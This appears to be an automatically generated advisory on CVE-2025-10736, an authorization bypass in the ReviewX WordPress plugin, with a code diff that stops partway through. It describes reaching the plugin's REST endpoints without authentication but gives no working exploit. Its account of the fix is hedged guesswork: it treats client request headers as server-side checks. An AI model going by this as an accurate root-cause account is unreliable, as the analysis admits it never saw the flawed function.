Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 23, 2026

CVE-2025-10736: ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.10 – Incorrect Authorization to Unauthenticated Information Exposure and Data Manipulation (reviewx)

Plugin reviewx
Severity Medium (CVSS 6.5)
CWE 285
Vulnerable Version 2.2.10
Patched Version 2.2.12
Disclosed March 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-10736:
This vulnerability is an improper authorization flaw in the ReviewX WordPress plugin, affecting versions up to and including 2.2.10. The vulnerability resides in the userAccessibility() function, which fails to properly validate user permissions before granting access to protected REST API endpoints. This flaw allows unauthenticated attackers to bypass authorization checks and interact with sensitive plugin functionality.

The root cause is the absence of a proper authorization check within the userAccessibility() function. The diff shows the patch adds a new header ‘X-Auth-Token’ to the default headers in the BaseApi.php file (line 35) and the WpApi.php file (line 75). The vulnerability description indicates the userAccessibility() function, which is not shown in the provided diff snippet, lacked validation. This function likely serves as a gatekeeper for REST API endpoints, and its failure to verify user identity or permissions allowed unauthenticated requests to proceed. The code paths involve the plugin’s REST API infrastructure, where endpoints rely on this function for access control.

Exploitation involves sending HTTP requests directly to the plugin’s protected REST API endpoints without authentication. An attacker would target endpoints such as /wp-json/reviewx/v1/* or similar namespaced routes. The attack vector is a simple unauthenticated GET or POST request to these endpoints. No special parameters or payloads are required beyond the standard HTTP request structure, as the vulnerability is a pure authorization bypass. The attacker can enumerate endpoints to discover functionality for data extraction or manipulation.

The patch adds an ‘X-Auth-Token’ header to API requests in both BaseApi.php and WpApi.php. This change suggests the fix implements a token-based validation mechanism on the server side, likely within the userAccessibility() function. The before behavior allowed requests with only the standard ‘Authorization’ header or no authentication at all. The after behavior requires a valid token in the ‘X-Auth-Token’ header, which the server presumably validates against a stored secret or user session. This additional check prevents unauthenticated access by ensuring a token is present and correct.

Successful exploitation allows unauthenticated attackers to access and modify sensitive plugin data. This includes extracting user information, such as reviewer details and email addresses, and manipulating plugin configuration settings. Attackers could alter review display settings, modify criteria weights, or tamper with reminder email configurations. The vulnerability could also lead to unauthorized data disclosure of WooCommerce product review analytics and user-generated content. While the CVSS score of 6.5 indicates a medium severity, the impact includes data integrity and confidentiality breaches.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/reviewx/app/Api/BaseApi.php
+++ b/reviewx/app/Api/BaseApi.php
@@ -35,6 +35,6 @@
      */
     public function getDefaultHeaders() : array
     {
-        return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => sha1(time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
+        return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Auth-Token' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => sha1(time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
     }
 }
--- a/reviewx/app/Api/WpApi.php
+++ b/reviewx/app/Api/WpApi.php
@@ -72,6 +72,7 @@
         $headers = ['Content-Type' => 'application/json'];
         if ($this->token) {
             $headers['Authorization'] = 'Bearer ' . $this->token;
+            $headers['X-Auth-Token'] = 'Bearer ' . $this->token;
         }
         return $headers;
     }
--- a/reviewx/app/Builder/Support/OxygenBuilder.php
+++ b/reviewx/app/Builder/Support/OxygenBuilder.php
@@ -1,124 +0,0 @@
-<?php
-
-namespace RvxBuilderSupport;
-
-use RvxBuilderBaseBuilder;
-class OxygenBuilder extends BaseBuilder
-{
-    /**
-     * Retrieve unique classes for a given segment.
-     *
-     * @param string $segment
-     * @return array
-     */
-    public function getUniqueClasses(string $segment) : array
-    {
-        switch ($segment) {
-            case 'form':
-                return $this->getFormUniqueClasses();
-            case 'reviewItem':
-                return $this->getReviewItemUniqueClasses();
-            case 'graph':
-                return $this->getGraphUniqueClasses();
-            case 'filter':
-                return $this->getFilterUniqueClasses();
-            default:
-                return [];
-        }
-    }
-    /**
-     * Transform a class item into the required format for Oxygen.
-     *
-     * @param array $item
-     * @return array
-     */
-    public function transformClass(array $item) : array
-    {
-        $transForm = ['name' => isset($item['name']) ? __($item['name'], 'reviewx') : '', 'selector' => isset($item['selector']) ? $item['selector'] : '', 'property' => isset($item['property']) ? $item['property'] : 'color', 'control_type' => isset($item['control_type']) ? $item['control_type'] : 'colorpicker'];
-        if (isset($item['condition'])) {
-            array_merge($transForm, ['condition' => $item['condition']]);
-        }
-        return $transForm;
-    }
-    /**
-     * Retrieve unique classes specific to the form segment.
-     *
-     * @return array
-     */
-    protected function getFormUniqueClasses() : array
-    {
-        return [["segment" => "form", "name" => "Form Background Color", "selector" => '.woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-form__wrapper,
-                 #rvx-storefront-widget #rvx-review-form__wrapper', "property" => 'background-color', "control_type" => 'colorpicker', 'default' => '#F5F5F5', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Form Title Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form .rvx-review-form__title[]', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#424242', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Form Border Line Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form .rvx-review-form__line, .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__line', "property" => 'background', 'default' => '#E0E0E0', "control_type" => 'colorpicker', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Product Title Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__product .rvx-review-form__product--title, .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__product .rvx-review-form__product--title', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#424242', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Rating Active Star Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__rating .rvx-review-form__star-active, .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__rating .rvx-review-form__star-active', "property" => 'fill', "control_type" => 'colorpicker', 'default' => '#FCCE08', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Rating Inactive Star Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__rating .rvx-review-form__star-inactive, .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__rating .rvx-review-form__star-inactive', "property" => 'fill', "control_type" => 'colorpicker', 'default' => '#FCCE08', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Multi Criteria Active Star Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__multicriteria .rvx-review-form__star-active, .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__multicriteria .rvx-review-form__star-active', "property" => 'fill', "control_type" => 'colorpicker', 'default' => '#FCCE08', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Multi Criteria Inactive Star Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__multicriteria .rvx-review-form__star-inactive, .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__multicriteria .rvx-review-form__star-inactive', "property" => 'fill', 'default' => '#757575', "control_type" => 'colorpicker', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Review Form Label Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__title .rvx-review-form__title--name,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__description .rvx-review-form__description--title,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__rating .rvx-review-form__rating--name,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__multicriteria .rvx-review-form__multicriteria--name,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__user .rvx-review-form__user--name,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__email .rvx-review-form__email--name,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__attachment .rvx-review-form__attachment--name,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__attachment--inner .rvx-review-form__mark-anonymous,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__recommended .rvx-review-form__recommended--name,
-
-                     #rvx-review-form__wrapper .rvx-review-form .rvx-review-form__inner .rvx-review-form__recommended label', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#424242', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Review Form Input Placeholder Color", "selector" => ' #rvx-review-form__wrapper input::placeholder,
-                 #rvx-review-form__wrapper textarea::placeholder,
-                 .woocommerce-Tabs-panel #rvx-review-form__wrapper input::placeholder,
-                 .woocommerce-Tabs-panel #rvx-review-form__wrapper textarea::placeholder', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#BDBDBD', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Review Form Input Background Color", "selector" => '.woocommerce-Tabs-panel #rvx-review-form__wrapper input,
-                #rvx-review-form__wrapper input,
-                .woocommerce-Tabs-panel #rvx-review-form__wrapper textarea,
-                #rvx-review-form__wrapper textarea', "property" => 'background', "control_type" => 'colorpicker', 'default' => '#BDBDBD', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Review Attachment Icon Color", "selector" => '.woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__attachment .rvx-review-form__attachment--inner .rvx-review-form__attachment--upload--icon, #rvx-review-form__wrapper .rvx-review-form__attachment .rvx-review-form__attachment--inner .rvx-review-form__attachment--upload--icon', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#9E9E9E', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Review Attachment Text Color", "selector" => '.rvx-review-form__attachment .rvx-review-form__attachment--inner .rvx-review-form__attachment--upload--count,
-                 #rvx-review-form__wrapper .rvx-review-form__attachment .rvx-review-form__attachment--inner .rvx-review-form__attachment--upload--text,
-                 .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__attachment .rvx-review-form__attachment--inner .rvx-review-form__attachment--upload--count,
-                 .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__attachment .rvx-review-form__attachment--inner .rvx-review-form__attachment--upload--text', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#9E9E9E', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Review Attachment Background Color", "selector" => '#rvx-review-form__wrapper .#rvx-review-form__wrapper .rvx-review-form__attachment .rvx-review-form__attachment--inner .rvx-review-form__attachment--upload, .woocommerce-Tabs-panel rvx-review-form__wrapper .#rvx-review-form__wrapper .rvx-review-form__attachment .rvx-review-form__attachment--inner .rvx-review-form__attachment--upload', "property" => 'background', 'default' => '#EEEEEE', "control_type" => 'colorpicker'], ["segment" => "form", "name" => "Submit Button Background Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"],
-                 .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"]:focus,
-                 .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"],
-                 #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"]:focus', "property" => 'background-color', "control_type" => 'colorpicker', 'default' => '#2f4fff', "condition" => 'rx_template_type=classic'], ["segment" => "form", "name" => "Submit Button Text Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"],
-                #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"]:focus
-                .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"],
-                .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"]:focus', "property" => 'color', 'default' => '#fff !important', "control_type" => 'colorpicker'], ["segment" => "form", "name" => "Submit Button Hover Background Color", "selector" => '#rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"]
-                #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"]:hover,
-                .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"],
-                .woocommerce-Tabs-panel #rvx-review-form__wrapper .rvx-review-form__footer .rvx-review-form__submit--button[type="submit"]:hover', "property" => 'background-color', 'default' => '#fff', "control_type" => 'colorpicker']];
-    }
-    public function getFontsUniqueClasses()
-    {
-    }
-    /**
-     * Retrieve unique classes specific to the reviewItem segment.
-     *
-     * @return array
-     */
-    protected function getReviewItemUniqueClasses() : array
-    {
-        return [["segment" => "reviewItem", "name" => __('Avatar Fallback Color', 'reviewx'), "selector" => '.rvx-review-card .rvx-review-card__body .rvx-review-user__avatar .rvx-review-user__avatar-fallback span, #rvx-review-details .rvx-review-user__avatar .rvx-review-user__avatar-fallback span', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#BDBDBD', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Avatar Fallback BG Color', 'reviewx'), "selector" => '.rvx-review-card .rvx-review-card__body .rvx-review-user__avatar, #rvx-review-details .rvx-review-user__avatar', "property" => 'background-color', "control_type" => 'colorpicker', 'default' => '#BDBDBD', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Name Text Color', 'reviewx'), "selector" => '.rvx-review-card .rvx-review-card__body .rvx-review-user .rvx-review-user__name,#rvx-review-details .rvx-review-user .rvx-review-user__name', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#373747', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Review Card Background Color', 'reviewx'), "selector" => '#rvx-storefront-widget .rvx-review-wrapper .rvx-review-card', "property" => 'background-color', "control_type" => 'colorpicker', 'default' => '#373747', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Rating Star Active Color', 'reviewx'), "selector" => '.rvx-review-card .rvx-review-card__body .rvx-reviewer__star-active, #rvx-review-details .rvx-reviewer__star-active', "property" => 'fill', "control_type" => 'colorpicker', 'default' => '#ECBD3F', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Rating Star Inactive Color', 'reviewx'), "selector" => '.rvx-review-card .rvx-review-card__body .rvx-reviewer__star-inactive, #rvx-review-details__body .rvx-reviewer__star-inactive', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#ECBD3F', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Review Title Color', 'reviewx'), "selector" => '.rvx-review-card .rvx-review-card__body .rvx-review-info .rvx-review-info__title,#rvx-review-details .rvx-review-info .rvx-review-info__title', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#373747', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Review Description Text Color', 'reviewx'), "selector" => '.rvx-review-card .rvx-review-card__body .rvx-review-info .rvx-review-info__feedback, #rvx-review-details .rvx-review-info .rvx-review-info__feedback', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#9B9B9B', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Review Date Color', 'reviewx'), "selector" => '.rvx-review-card .rvx-review-card__body .rvx-review-info .rvx-review-info__date, #rvx-review-details .rvx-review-info .rvx-review-info__date', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#757575', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Was This Helpful Text Color', 'reviewx'), "selector" => '#rvx-storefront-widget .rvx-review-card .rvx-review-footer .rvx-review-footer__text, #rvx-storefront-widget #rvx-review-details .rvx-review-footer .rvx-review-footer__text', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#333', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Review Like Color', 'reviewx'), "selector" => '#rvx-storefront-widget .rvx-review-card .rvx-review-footer__thumbs--like-icon path, #rvx-review-details .rvx-review-footer__thumbs--like-icon path', "property" => 'fill', "control_type" => 'colorpicker', 'default' => '#E0E0E0', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Review Dislike', 'reviewx'), "selector" => '#rvx-storefront-widget .rvx-review-card .rvx-review-footer__thumbs--dislike-icon path, #rvx-storefront-widget #rvx-review-details .rvx-review-footer__thumbs--dislike-icon path', "property" => 'fill', "control_type" => 'colorpicker', 'default' => '#E0E0E0', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Load More Background Color', 'reviewx'), "selector" => '.woocommerce-Tabs-panel #rvx-storefront-widget button, #rvx-storefront-widget button,#rvx-storefront-widget button, #rvx-storefront-widget button', "property" => 'background-color', "control_type" => 'colorpicker', 'default' => '#FFFFFF', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Load More Text Color', 'reviewx'), "selector" => '#rvx-storefront-widget button, .woocommerce-Tabs-panel #rvx-storefront-widget button', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#424242', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Load More Hover Background Color', 'reviewx'), "selector" => '#rvx-storefront-widget button:hover', "property" => 'background-color', "control_type" => 'colorpicker', 'default' => '#D5D5D5', "condition" => 'rx_template_type=classic'], ["segment" => "reviewItem", "name" => __('Load More Text Hover Color', 'reviewx'), "selector" => '#rvx-storefront-widget button:hover', "property" => 'color', "control_type" => 'colorpicker', 'default' => '#424242', "condition" => 'rx_template_type=classic']];
-    }
-    /**
-     * Retrieve unique classes specific to the graph segment.
-     *
-     * @return array
-     */
-    protected function getGraphUniqueClasses() : array
-    {
-        return [['segment' => 'graph', 'name' => 'Average Rating Color', 'selector' => '#rvx-storefront-widget .rvx-average-rating', 'property' => 'color', 'control_type' => 'colorpicker', 'default' => '#4CAF50'], ['segment' => 'graph', 'name' => 'Max Rating Color', 'selector' => '#rvx-storefront-widget .rvx-items-baseline span.rvx-max-rating', 'property' => 'color', 'control_type' => 'colorpicker', 'default' => '#FFFFFF'], ['segment' => 'graph', 'name' => 'Badge Background Color', 'selector' => '#rvx-storefront-widget .rvx-rating-badge', 'property' => 'background-color', 'control_type' => 'colorpicker', 'default' => '#4CAF50'], ['segment' => 'graph', 'name' => 'Badge Text Color', 'selector' => '#rvx-storefront-widget .rvx-rating-badge__text', 'property' => 'color', 'control_type' => 'colorpicker', 'default' => '#FFFFFF'], ['segment' => 'graph', 'name' => 'Average Rating Star Active Color', 'selector' => '#rvx-storefront-widget #rvx-storefront-widget--aggregation__summary .rvx-aggregation-summary__star-active', 'property' => 'fill', 'control_type' => 'colorpicker', 'default' => '#FCCE08'], ['segment' => 'graph', 'name' => 'Average Rating Star inactive Color', 'selector' => '#rvx-storefront-widget #rvx-storefront-widget--aggregation__summary .rvx-review-form__star-inactive', 'property' => 'color', 'control_type' => 'colorpicker', 'default' => 'gray'], ['segment' => 'graph', 'name' => 'Total Review Count Color', 'selector' => '#rvx-storefront-widget #rvx-storefront-widget--aggregation__summary .rvx-total-review', 'property' => 'color', 'control_type' => 'colorpicker', 'default' => '#BDBDBD'], ['segment' => 'graph', 'name' => 'Summary Star Color', 'selector' => '#rvx-storefront-widget--aggregation__summary .rvx-aggregation__row .rvx-aggregation__rating-icon path', 'property' => 'fill', 'control_type' => 'colorpicker', 'default' => '#FCCE08'], ['segment' => 'graph', 'name' => 'Summary Progress Bar Active Color', 'selector' => '#rvx-storefront-widget--aggregation__summary .rvx-aggregation__row .rvx-aggregation__progressbar .rvx-aggregation__progressbar-active', 'property' => 'background-color', 'control_type' => 'colorpicker', 'default' => 'rgb(0, 67, 221)'], ['segment' => 'graph', 'name' => 'Multi Criteria Title Color', 'selector' => '#rvx-storefront-widget .rvx-aggregation-multicriteria .rvx-aggregation-multicriteria__name span', 'property' => 'color', 'control_type' => 'colorpicker', 'default' => '#D9D9D9'], ['segment' => 'graph', 'name' => 'Multi Criteria Progress Bar Active Color', 'selector' => '#rvx-storefront-widget .rvx-aggregation-multicriteria .rvx-aggregation__progressbar .rvx-aggregation__progressbar-active', 'property' => 'background-color', 'control_type' => 'colorpicker', 'default' => 'rgb(0, 67, 221)'], ['segment' => 'graph', 'name' => 'Multi Criteria Progress Bar Inactive Color', 'selector' => '#rvx-storefront-widget .rvx-aggregation-multicriteria .rvx-aggregation__progressbar .rvx-aggregation__progressbar-inactive', 'property' => 'background-color', 'control_type' => 'colorpicker', 'default' => '#D9D9D9'], ['segment' => 'graph', 'name' => 'Multi Criteria Star Color', 'selector' => '#rvx-storefront-widget .rvx-aggregation-multicriteria .rvx-aggregation-multicriteria__total .rvx-aggregation__rating-icon path', 'property' => 'fill', 'control_type' => 'colorpicker', 'default' => '#FCCE08']];
-    }
-    protected function getFilterUniqueClasses() : array
-    {
-        return [['segment' => 'filter', 'name' => 'Write Review Action Background Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-write__button, .woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-filter .rvx-review-write__button', 'property' => 'background-color', 'default' => '#387CF7', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Write Review Action Text Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-write__button, .woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-filter .rvx-review-write__button', 'property' => 'color', 'default' => '#fff', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Filter Text Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-filter__button, .woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__button', 'property' => 'color', 'default' => '#424242', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Filter Button Background color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-filter__button, .woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__button', 'property' => 'background', 'default' => '#F5F5F5', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Filter Dropdown Background Color', 'selector' => ' #rvx-storefront-widget #rvx-review-filter .rvx-review-filter-wrapper,
-                    #rvx-storefront-widget #rvx-review-filter .rvx-review-filter-wrapper .rvx-review-filter__wrapper-inner,
-                    #rvx-storefront-widget #rvx-review-filter .rvx-review-filter-wrapper .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__outer', 'property' => 'background', 'default' => '#FFFFFF', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Dropdown Filter By Text Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__title, .woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__title', 'property' => 'color', 'default' => '#6B707A', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Dropdown Filter Options Text Color', 'selector' => ' #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__outer .rvx-review-filter-wrapper__rating .rvx-review-filter-wrapper__rating--text,
-
-                     #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__outer .rvx-review-filter-wrapper__rating .rvx-review-filter-wrapper__rating-wrapper .rvx-review-filter-wrapper__rating-inner .rvx-review-filter__wrapper__rating--radio-group__option-label,
-
-                     #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__outer .rvx-review-filter-wrapper__attachment .rvx-review-filter-wrapper__attachment--text,
-
-                     #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__outer .rvx-review-filter-wrapper__attachment .rvx-review-filter-wrapper__attachment-wrapper .rvx-review-filter-wrapper__attachment-inner .rvx-review-filter__wrapper__attachment--radio-group__option-label', 'property' => 'color', 'default' => '#6B707A', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Dropdown Filter Option Icon Color', 'selector' => ' #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__outer .rvx-review-filter-wrapper__rating .rvx-review-filter-wrapper__rating-inner--icon,
-
-                 #rvx-storefront-widget #rvx-review-filter .rvx-review-filter__wrapper-inner .rvx-review-filter-wrapper__outer .rvx-review-filter-wrapper__attachment .rvx-review-filter-wrapper__attachment-inner--icon', 'property' => 'color', 'default' => '#6B707A', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Filter Reset Button Text Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-filter-wrapper__footer button', 'property' => 'color', 'default' => '#383239', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Filter Reset Button Background', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-filter-wrapper__footer button', 'property' => 'background', 'default' => '#F5F5F5', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Sort By Button Text Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-sort__button', 'property' => 'color', 'control_type' => 'colorpicker', 'default' => '#424242'], ['segment' => 'filter', 'name' => 'Sort By Button Background Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-sort__button, .woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-filter .rvx-review-sort__button', 'property' => 'background', 'default' => '#fff', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Sort By Dropdown Text Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-sort-wrapper .rvx-review-sort-wrapper__outer .rvx-review-sort-wrapper__inner .rvx-review-sort__wrapper--radio-group__option-label,.woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-filter .rvx-review-sort-wrapper .rvx-review-sort-wrapper__outer .rvx-review-sort-wrapper__inner .rvx-review-sort__wrapper--radio-group__option-label', 'property' => 'color', 'default' => '#424242', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Sort By Button Background Color', 'selector' => '#rvx-storefront-widget #rvx-review-filter .rvx-review-sort-wrapper', 'property' => 'background', 'control_type' => 'colorpicker'], ['segment' => 'filter', 'name' => 'Sort By Dropdown Background Color', 'selector' => '.woocommerce-Tabs-panel #rvx-storefront-widget #rvx-review-filter .rvx-review-sort-wrapper, #rvx-storefront-widget #rvx-review-filter .rvx-review-sort-wrapper', 'property' => 'background', 'default' => '#fff', 'control_type' => 'colorpicker']];
-    }
-}
--- a/reviewx/app/CPT/CptRichSchemaHandler.php
+++ b/reviewx/app/CPT/CptRichSchemaHandler.php
@@ -2,89 +2,101 @@

 namespace RvxCPT;

+use RvxServicesSettingService;
 use WP_Post;
+/**
+ * Handles rich schema generation for non-product post types (CPTs, pages, posts, etc.).
+ */
 class CptRichSchemaHandler
 {
     /**
-     * Process and add rich schema data to custom post type markup.
+     * Build structured data for a given post.
      *
-     * @param array   $markup    Existing schema markup.
-     * @param WP_Post $post      WordPress post object (could be any post type).
-     * @return array Updated schema markup.
+     * @param array   $markup Existing markup (unused).
+     * @param WP_Post $post   Post object.
+     * @return array
      */
     public function schemaHandler($markup, $post) : array
     {
-        // Fetch the average rating for this post (if it exists)
-        $averageRating = (float) get_post_meta($post->ID, 'rvx_avg_rating', true);
-        // Fetch all approved comments (reviews) for the post (non-product post types)
-        $reviews = get_comments(['post_id' => $post->ID, 'status' => 'approve', 'type' => 'comment']);
-        // Initialize review count
-        $reviewCount = 0;
-        $markup = [];
-        if (!empty($reviews)) {
-            //$markup['review'] = [];
-            foreach ($reviews as $review) {
-                // Skip comment replies by checking if it's a reply to another comment
-                if ($review->comment_parent > 0) {
-                    continue;
-                    // Skip replies
+        // Guard conditions.
+        if (is_admin() || empty($post) || !isset($post->ID)) {
+            return $markup;
+        }
+        $postType = get_post_type($post);
+        if (empty($postType) || $postType === 'product') {
+            return $markup;
+            // Skip WooCommerce products.
+        }
+        // Temporarily remove Divi filter
+        $divi_callback = 'et_theme_builder_wc_set_review_metadata';
+        $divi_removed = false;
+        if (function_exists('has_filter')) {
+            $priority = has_filter('get_comment_metadata', $divi_callback);
+            if ($priority !== false) {
+                remove_filter('get_comment_metadata', $divi_callback, (int) $priority);
+                $divi_removed = true;
+            }
+        }
+        // Define schema type mappings.
